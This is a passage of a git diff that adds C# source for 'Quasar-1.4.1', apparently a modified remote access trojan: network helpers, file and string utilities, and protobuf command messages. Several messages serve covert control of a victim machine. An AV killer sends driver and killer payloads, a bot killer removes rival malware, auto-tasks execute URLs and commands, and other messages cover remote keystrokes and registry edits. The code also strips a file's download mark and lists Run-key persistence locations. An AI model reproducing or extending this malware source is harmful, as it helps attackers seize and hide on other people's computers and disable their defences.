_hosts.Dequeue(); + _hosts.Enqueue(temp); // add to the end of the queue + + temp.IpAddress = ResolveHostname(temp); + return temp; + } + + private static IPAddress ResolveHostname(Host host) + { + if (string.IsNullOrEmpty(host.Hostname)) return null; + + IPAddress ip; + if (IPAddress.TryParse(host.Hostname, out ip)) + { + if (ip.AddressFamily == AddressFamily.InterNetworkV6) + { + if (!Socket.OSSupportsIPv6) return null; + } + return ip; + } + + var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList; + foreach (IPAddress ipAddress in ipAddresses) + { + switch (ipAddress.AddressFamily) + { + case AddressFamily.InterNetwork: + return ipAddress; + case AddressFamily.InterNetworkV6: + /* Only use resolved IPv6 if no IPv4 address available, + * otherwise it could be possible that the router the client + * is using to connect to the internet doesn't support IPv6. + */ + if (ipAddresses.Length == 1) + return ipAddress; + break; + } + } + + return ip; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/AccountType.cs b/Quasar-1.4.1/Quasar.Common/Enums/AccountType.cs new file mode 100755 index 0000000..19c3eec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/AccountType.cs @@ -0,0 +1,10 @@ +namespace Quasar.Common.Enums +{ + public enum AccountType + { + Admin, + User, + Guest, + Unknown + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/ConnectionState.cs b/Quasar-1.4.1/Quasar.Common/Enums/ConnectionState.cs new file mode 100755 index 0000000..ce42099 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/ConnectionState.cs @@ -0,0 +1,18 @@ +namespace Quasar.Common.Enums +{ + public enum ConnectionState : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/ContentType.cs b/Quasar-1.4.1/Quasar.Common/Enums/ContentType.cs new file mode 100755 index 0000000..7782512 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/ContentType.cs @@ -0,0 +1,16 @@ +namespace Quasar.Common.Enums +{ + public enum ContentType + { + // these values must match the index of the images in file manager + Blob = 2, + Application = 3, + Text = 4, + Archive = 5, + Word = 6, + Pdf = 7, + Image = 8, + Video = 9, + Audio = 10 + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/FileType.cs b/Quasar-1.4.1/Quasar.Common/Enums/FileType.cs new file mode 100755 index 0000000..be4b085 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/FileType.cs @@ -0,0 +1,9 @@ +namespace Quasar.Common.Enums +{ + public enum FileType + { + File, + Directory, + Back + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/MouseAction.cs b/Quasar-1.4.1/Quasar.Common/Enums/MouseAction.cs new file mode 100755 index 0000000..85d1e84 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/MouseAction.cs @@ -0,0 +1,14 @@ +namespace Quasar.Common.Enums +{ + public enum MouseAction + { + LeftDown, + LeftUp, + RightDown, + RightUp, + MoveCursor, + ScrollUp, + ScrollDown, + None + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/ProcessAction.cs b/Quasar-1.4.1/Quasar.Common/Enums/ProcessAction.cs new file mode 100755 index 0000000..048ae73 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/ProcessAction.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum ProcessAction + { + Start, + End + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/ShutdownAction.cs b/Quasar-1.4.1/Quasar.Common/Enums/ShutdownAction.cs new file mode 100755 index 0000000..d87fddd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/ShutdownAction.cs @@ -0,0 +1,9 @@ +namespace Quasar.Common.Enums +{ + public enum ShutdownAction + { + Shutdown, + Restart, + Standby + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/StartupType.cs b/Quasar-1.4.1/Quasar.Common/Enums/StartupType.cs new file mode 100755 index 0000000..983be5e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/StartupType.cs @@ -0,0 +1,13 @@ +namespace Quasar.Common.Enums +{ + public enum StartupType + { + LocalMachineRun, + LocalMachineRunOnce, + CurrentUserRun, + CurrentUserRunOnce, + StartMenu, + LocalMachineRunX86, + LocalMachineRunOnceX86 + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Enums/UserStatus.cs b/Quasar-1.4.1/Quasar.Common/Enums/UserStatus.cs new file mode 100755 index 0000000..da72609 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Enums/UserStatus.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum UserStatus + { + Active, + Idle + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Extensions/DriveTypeExtensions.cs b/Quasar-1.4.1/Quasar.Common/Extensions/DriveTypeExtensions.cs new file mode 100755 index 0000000..270aa21 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Extensions/DriveTypeExtensions.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Quasar.Common.Extensions +{ + public static class DriveTypeExtensions + { + /// + /// Converts the value of the instance to its friendly string representation. + /// + /// The . + /// The friendly string representation of the value of this instance. + public static string ToFriendlyString(this DriveType type) + { + switch (type) + { + case DriveType.Fixed: + return "Local Disk"; + case DriveType.Network: + return "Network Drive"; + case DriveType.Removable: + return "Removable Drive"; + default: + return type.ToString(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Extensions/SocketExtensions.cs b/Quasar-1.4.1/Quasar.Common/Extensions/SocketExtensions.cs new file mode 100755 index 0000000..8b00f9b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Extensions/SocketExtensions.cs @@ -0,0 +1,48 @@ +using System; +using System.Net.Sockets; +using System.Runtime.InteropServices; + +namespace Quasar.Common.Extensions +{ + /// + /// Socket Extension for KeepAlive + /// + /// Abdullah Saleem + /// a.saleem2993@gmail.com + public static class SocketExtensions + { + /// + /// A structure used by SetKeepAliveEx Method + /// + [StructLayout(LayoutKind.Sequential)] + internal struct TcpKeepAlive + { + internal uint onoff; + internal uint keepalivetime; + internal uint keepaliveinterval; + }; + + /// + /// Sets the Keep-Alive values for the current tcp connection + /// + /// Current socket instance + /// Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines. + /// Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry. + public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime) + { + var keepAlive = new TcpKeepAlive + { + onoff = 1, + keepaliveinterval = keepAliveInterval, + keepalivetime = keepAliveTime + }; + int size = Marshal.SizeOf(keepAlive); + IntPtr keepAlivePtr = Marshal.AllocHGlobal(size); + Marshal.StructureToPtr(keepAlive, keepAlivePtr, true); + var buffer = new byte[size]; + Marshal.Copy(keepAlivePtr, buffer, 0, size); + Marshal.FreeHGlobal(keepAlivePtr); + socket.IOControl(IOControlCode.KeepAliveValues, buffer, null); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Extensions/StringExtensions.cs b/Quasar-1.4.1/Quasar.Common/Extensions/StringExtensions.cs new file mode 100755 index 0000000..97ca127 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Extensions/StringExtensions.cs @@ -0,0 +1,69 @@ +using Quasar.Common.Enums; + +namespace Quasar.Common.Extensions +{ + public static class StringExtensions + { + /// + /// Converts the file extension string to its representation. + /// + /// The file extension string. + /// The representation of the file extension string. + public static ContentType ToContentType(this string fileExtension) + { + switch (fileExtension.ToLower()) + { + default: + return ContentType.Blob; + case ".exe": + return ContentType.Application; + case ".txt": + case ".log": + case ".conf": + case ".cfg": + case ".asc": + return ContentType.Text; + case ".rar": + case ".zip": + case ".zipx": + case ".tar": + case ".tgz": + case ".gz": + case ".s7z": + case ".7z": + case ".bz2": + case ".cab": + case ".zz": + case ".apk": + return ContentType.Archive; + case ".doc": + case ".docx": + case ".odt": + return ContentType.Word; + case ".pdf": + return ContentType.Pdf; + case ".jpg": + case ".jpeg": + case ".png": + case ".bmp": + case ".gif": + case ".ico": + return ContentType.Image; + case ".mp4": + case ".mov": + case ".avi": + case ".wmv": + case ".mkv": + case ".m4v": + case ".flv": + return ContentType.Video; + case ".mp3": + case ".wav": + case ".pls": + case ".m3u": + case ".m4a": + return ContentType.Audio; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Helpers/FileHelper.cs b/Quasar-1.4.1/Quasar.Common/Helpers/FileHelper.cs new file mode 100755 index 0000000..b583e1e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Helpers/FileHelper.cs @@ -0,0 +1,101 @@ +using Quasar.Common.Cryptography; +using System.IO; +using System.Linq; +using System.Text; + +namespace Quasar.Common.Helpers +{ + public static class FileHelper + { + /// + /// List of illegal path characters. + /// + private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); + + /// + /// Indicates if the given path contains illegal characters. + /// + /// The path to check. + /// Returns true if the path contains illegal characters, otherwise false. + public static bool HasIllegalCharacters(string path) + { + return path.Any(c => IllegalPathChars.Contains(c)); + } + + /// + /// Gets a random file name. + /// + /// The length of the file name. + /// The file extension including the dot, e.g. .exe. + /// The random file name. + public static string GetRandomFilename(int length, string extension = "") + { + return string.Concat(StringHelper.GetRandomString(length), extension); + } + + /// + /// Gets a path to an unused temp file. + /// + /// The file extension including the dot, e.g. .exe. + /// The path to the temp file. + public static string GetTempFilePath(string extension) + { + string tempFilePath; + do + { + tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension)); + } while (File.Exists(tempFilePath)); + + return tempFilePath; + } + + /// + /// Indicates if the given file header contains the executable identifier (magic number) 'MZ'. + /// + /// The binary file to check. + /// Returns true for valid executable identifiers, otherwise false. + public static bool HasExecutableIdentifier(byte[] binary) + { + if (binary.Length < 2) return false; + return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M'); + } + + /// + /// Deletes the zone identifier for the given file path. + /// + /// The file path. + /// Returns true if the deletion was successful, otherwise false. + public static bool DeleteZoneIdentifier(string filePath) + { + return NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); + } + + /// + /// Appends text to a log file. + /// + /// The filename of the log. + /// The text to append. + /// The AES instance. + public static void WriteLogFile(string filename, string appendText, Aes256 aes) + { + appendText = ReadLogFile(filename, aes) + appendText; + + using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) + { + byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText)); + fStream.Seek(0, SeekOrigin.Begin); + fStream.Write(data, 0, data.Length); + } + } + + /// + /// Reads a log file. + /// + /// The filename of the log. + /// The AES instance. + public static string ReadLogFile(string filename, Aes256 aes) + { + return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Helpers/PlatformHelper.cs b/Quasar-1.4.1/Quasar.Common/Helpers/PlatformHelper.cs new file mode 100755 index 0000000..14f4a7f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Helpers/PlatformHelper.cs @@ -0,0 +1,120 @@ +using System; +using System.Management; +using System.Text.RegularExpressions; + +namespace Quasar.Common.Helpers +{ + public static class PlatformHelper + { + /// + /// Initializes the class. + /// + static PlatformHelper() + { + Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT; + XpOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 5; + VistaOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 6; + SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1)); + EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200)); + EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3)); + TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0)); + RunningOnMono = Type.GetType("Mono.Runtime") != null; + + Name = "Unknown OS"; + using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) + { + foreach (ManagementObject os in searcher.Get()) + { + Name = os["Caption"].ToString(); + break; + } + } + + Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start + Is64Bit = Environment.Is64BitOperatingSystem; + FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit"; + } + + /// + /// Gets the full name of the operating system running on this computer (including the edition and architecture). + /// + public static string FullName { get; } + + /// + /// Gets the name of the operating system running on this computer (including the edition). + /// + public static string Name { get; } + + /// + /// Determines whether the Operating System is 32 or 64-bit. + /// + /// + /// true if the Operating System is 64-bit, otherwise false for 32-bit. + /// + public static bool Is64Bit { get; } + + /// + /// Returns a indicating whether the application is running in Mono runtime. + /// + /// + /// true if the application is running in Mono runtime; otherwise, false. + /// + public static bool RunningOnMono { get; } + + /// + /// Returns a indicating whether the Operating System is Windows 32 NT based. + /// + /// + /// true if the Operating System is Windows 32 NT based; otherwise, false. + /// + public static bool Win32NT { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows XP or higher. + /// + /// + /// true if the Operating System is Windows XP or higher; otherwise, false. + /// + public static bool XpOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows Vista or higher. + /// + /// + /// true if the Operating System is Windows Vista or higher; otherwise, false. + /// + public static bool VistaOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 7 or higher. + /// + /// + /// true if the Operating System is Windows 7 or higher; otherwise, false. + /// + public static bool SevenOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8 or higher. + /// + /// + /// true if the Operating System is Windows 8 or higher; otherwise, false. + /// + public static bool EightOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 8.1 or higher. + /// + /// + /// true if the Operating System is Windows 8.1 or higher; otherwise, false. + /// + public static bool EightPointOneOrHigher { get; } + + /// + /// Returns a value indicating whether the Operating System is Windows 10 or higher. + /// + /// + /// true if the Operating System is Windows 10 or higher; otherwise, false. + /// + public static bool TenOrHigher { get; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Helpers/StringHelper.cs b/Quasar-1.4.1/Quasar.Common/Helpers/StringHelper.cs new file mode 100755 index 0000000..e6f9ccc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Helpers/StringHelper.cs @@ -0,0 +1,80 @@ +using Quasar.Common.Utilities; +using System.Text; +using System.Text.RegularExpressions; + +namespace Quasar.Common.Helpers +{ + public static class StringHelper + { + /// + /// Available alphabet for generation of random strings. + /// + private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + + /// + /// Abbreviations of file sizes. + /// + private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" }; + + /// + /// Random number generator. + /// + private static readonly SafeRandom Random = new SafeRandom(); + + /// + /// Gets a random string with given length. + /// + /// The length of the random string. + /// A random string. + public static string GetRandomString(int length) + { + StringBuilder randomName = new StringBuilder(length); + for (int i = 0; i < length; i++) + randomName.Append(Alphabet[Random.Next(Alphabet.Length)]); + + return randomName.ToString(); + } + + /// + /// Gets the human readable file size for a given size. + /// + /// The file size in bytes. + /// The human readable file size. + public static string GetHumanReadableFileSize(long size) + { + double len = size; + int order = 0; + while (len >= 1024 && order + 1 < Sizes.Length) + { + order++; + len = len / 1024; + } + return $"{len:0.##} {Sizes[order]}"; + } + + /// + /// Gets the formatted MAC address. + /// + /// The unformatted MAC address. + /// The formatted MAC address. + public static string GetFormattedMacAddress(string macAddress) + { + return (macAddress.Length != 12) + ? "00:00:00:00:00:00" + : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); + } + + /// + /// Safely removes the last N chars from a string. + /// + /// The input string. + /// The amount of last chars to remove (=N). + /// The input string with N removed chars. + public static string RemoveLastChars(string input, int amount = 2) + { + if (input.Length > amount) + input = input.Remove(input.Length - amount); + return input; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/IO/FileSplit.cs b/Quasar-1.4.1/Quasar.Common/IO/FileSplit.cs new file mode 100755 index 0000000..495b419 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/IO/FileSplit.cs @@ -0,0 +1,124 @@ +using Quasar.Common.Models; +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Common.IO +{ + public class FileSplit : IEnumerable, IDisposable + { + /// + /// The maximum size per file chunk. + /// + public readonly int MaxChunkSize = 65535; + + /// + /// The file path of the opened file. + /// + public string FilePath => _fileStream.Name; + + /// + /// The file size of the opened file. + /// + public long FileSize => _fileStream.Length; + + /// + /// The file stream of the opened file. + /// + private readonly FileStream _fileStream; + + /// + /// Initializes a new instance of the class using the given file path and access mode. + /// + /// The path to the file to open. + /// The file access mode for opening the file. Allowed are and . + public FileSplit(string filePath, FileAccess fileAccess) + { + switch (fileAccess) + { + case FileAccess.Read: + _fileStream = File.OpenRead(filePath); + break; + case FileAccess.Write: + _fileStream = File.OpenWrite(filePath); + break; + default: + throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write."); + } + } + + /// + /// Writes a chunk to the file. In other words. + /// + /// + public void WriteChunk(FileChunk chunk) + { + _fileStream.Seek(chunk.Offset, SeekOrigin.Begin); + _fileStream.Write(chunk.Data, 0, chunk.Data.Length); + } + + /// + /// Reads a chunk of the file. + /// + /// Offset of the file, must be a multiple of for proper reconstruction. + /// The read file chunk at the given offset. + /// + /// The returned file chunk can be smaller than iff the + /// remaining file size from the offset is smaller than , + /// then the remaining file size is used. + /// + public FileChunk ReadChunk(long offset) + { + _fileStream.Seek(offset, SeekOrigin.Begin); + + long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize + ? _fileStream.Length - _fileStream.Position + : MaxChunkSize; + + var chunkData = new byte[chunkSize]; + _fileStream.Read(chunkData, 0, chunkData.Length); + + return new FileChunk + { + Data = chunkData, + Offset = _fileStream.Position - chunkData.Length + }; + } + + /// + /// Returns an enumerator that iterates through the file chunks. + /// + /// An object that can be used to iterate through the file chunks. + public IEnumerator GetEnumerator() + { + for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++) + { + yield return ReadChunk(currentChunk * MaxChunkSize); + } + } + + /// + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _fileStream.Dispose(); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/AVKillerResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/AVKillerResponse.cs new file mode 100755 index 0000000..64d58b2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/AVKillerResponse.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class AVKillerResponse : IMessage + { + [ProtoMember(1)] + public string Output { get; set; } + + [ProtoMember(2)] + public bool IsError { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/BotKillerResult.cs b/Quasar-1.4.1/Quasar.Common/Messages/BotKillerResult.cs new file mode 100755 index 0000000..96c411f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/BotKillerResult.cs @@ -0,0 +1,29 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class BotKillerResult : IMessage + { + [ProtoMember(1)] + public string ProcessName { get; set; } + + [ProtoMember(2)] + public int ProcessId { get; set; } + + [ProtoMember(3)] + public string FilePath { get; set; } + + [ProtoMember(4)] + public string ThreatType { get; set; } + + [ProtoMember(5)] + public string Mutex { get; set; } + + [ProtoMember(6)] + public bool Killed { get; set; } + + [ProtoMember(7)] + public string Message { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentification.cs b/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentification.cs new file mode 100755 index 0000000..69ef36a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentification.cs @@ -0,0 +1,44 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class ClientIdentification : IMessage + { + [ProtoMember(1)] + public string Version { get; set; } + + [ProtoMember(2)] + public string OperatingSystem { get; set; } + + [ProtoMember(3)] + public string AccountType { get; set; } + + [ProtoMember(4)] + public string Country { get; set; } + + [ProtoMember(5)] + public string CountryCode { get; set; } + + [ProtoMember(6)] + public int ImageIndex { get; set; } + + [ProtoMember(7)] + public string Id { get; set; } + + [ProtoMember(8)] + public string Username { get; set; } + + [ProtoMember(9)] + public string PcName { get; set; } + + [ProtoMember(10)] + public string Tag { get; set; } + + [ProtoMember(11)] + public string EncryptionKey { get; set; } + + [ProtoMember(12)] + public byte[] Signature { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentificationResult.cs b/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentificationResult.cs new file mode 100755 index 0000000..c44638b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ClientIdentificationResult.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class ClientIdentificationResult : IMessage + { + [ProtoMember(1)] + public bool Result { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoAVKillerCommand.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoAVKillerCommand.cs new file mode 100755 index 0000000..8f38552 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoAVKillerCommand.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoAVKillerCommand : IMessage + { + [ProtoMember(1)] + public string Command { get; set; } + + [ProtoMember(2)] + public byte[] DriverData { get; set; } + + [ProtoMember(3)] + public byte[] KillerData { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoAskElevate.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoAskElevate.cs new file mode 100755 index 0000000..69f91cf --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoAskElevate.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoAskElevate : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoAutoTask.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoAutoTask.cs new file mode 100755 index 0000000..f4e0b2f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoAutoTask.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoAutoTask : IMessage + { + [ProtoMember(1)] + public string TaskType { get; set; } // "EXECUTE_URL", "EXECUTE_DISK", "COMMAND", "MESSAGEBOX" + + [ProtoMember(2)] + public string Param1 { get; set; } + + [ProtoMember(3)] + public string Param2 { get; set; } + + [ProtoMember(4)] + public string Param3 { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoBotKiller.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoBotKiller.cs new file mode 100755 index 0000000..d4facff --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoBotKiller.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoBotKiller : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoChangeRegistryValue.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoChangeRegistryValue.cs new file mode 100755 index 0000000..6d8715e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoChangeRegistryValue.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoChangeRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoClientDisconnect.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoClientDisconnect.cs new file mode 100755 index 0000000..6ba6745 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoClientDisconnect.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientDisconnect : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoClientReconnect.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoClientReconnect.cs new file mode 100755 index 0000000..085c402 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoClientReconnect.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientReconnect : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoClientUninstall.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoClientUninstall.cs new file mode 100755 index 0000000..eb10b68 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoClientUninstall.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoClientUninstall : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoCloseConnection.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoCloseConnection.cs new file mode 100755 index 0000000..a764981 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoCloseConnection.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCloseConnection : IMessage + { + [ProtoMember(1)] + public string LocalAddress { get; set; } + + [ProtoMember(2)] + public ushort LocalPort { get; set; } + + [ProtoMember(3)] + public string RemoteAddress { get; set; } + + [ProtoMember(4)] + public ushort RemotePort { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryKey.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryKey.cs new file mode 100755 index 0000000..c5d430d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryKey.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCreateRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryValue.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryValue.cs new file mode 100755 index 0000000..0ceb005 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoCreateRegistryValue.cs @@ -0,0 +1,15 @@ +using Microsoft.Win32; +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoCreateRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegistryValueKind Kind { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryKey.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryKey.cs new file mode 100755 index 0000000..e2d605e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryKey.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoDeleteRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string KeyName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryValue.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryValue.cs new file mode 100755 index 0000000..630fa05 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoDeleteRegistryValue.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoDeleteRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string ValueName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoKeyboardEvent.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoKeyboardEvent.cs new file mode 100755 index 0000000..0b11bd6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoKeyboardEvent.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoKeyboardEvent : IMessage + { + [ProtoMember(1)] + public byte Key { get; set; } + + [ProtoMember(2)] + public bool KeyDown { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoLoadRegistryKey.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoLoadRegistryKey.cs new file mode 100755 index 0000000..963ce30 --- /dev/null +++ 